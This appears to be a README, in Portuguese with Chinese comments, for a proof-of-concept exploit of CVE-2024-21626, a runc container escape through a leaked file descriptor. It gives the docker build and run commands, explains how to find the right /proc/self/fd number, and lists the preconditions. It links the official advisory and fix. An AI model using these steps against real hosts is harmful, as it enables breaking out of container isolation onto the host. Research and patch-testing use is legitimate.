
Exploit de prova de conceito para CVE-2024-21626, uma vulnerabilidade de escape de contêiner no Docker/runc. Demonstra manipulação de descritores de arquivo para sair do isolamento do contêiner. Apenas para fins educacionais e de pesquisa.
Apenas para fins educacionais/pesquisa. Qualquer ação não relacionada à educação/pesquisa é de sua própria responsabilidade.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
Os descritores de arquivos específicos usados por diferentes versões do docker/runc variam. Por exemplo, no caso do docker server:20.10.17 && runc version 1.1.2, use /proc/self/fd/9. O fd real pode mudar dependendo da ordem de abertura dos arquivos. A documentação oficial indica que na maioria dos casos deve-se usar /proc/self/fd/7. Para saber qual fd está realmente sendo usado, compile um runc e coloque um sleep na função nsexec.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
Modificação: Altere o WORKDIR no Dockerfile para o valor correspondente.
Ao mesmo tempo, atenda às seguintes condições:
1. 可以创建容器并指定执行命令
2. 可以指定容器使用的镜像
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e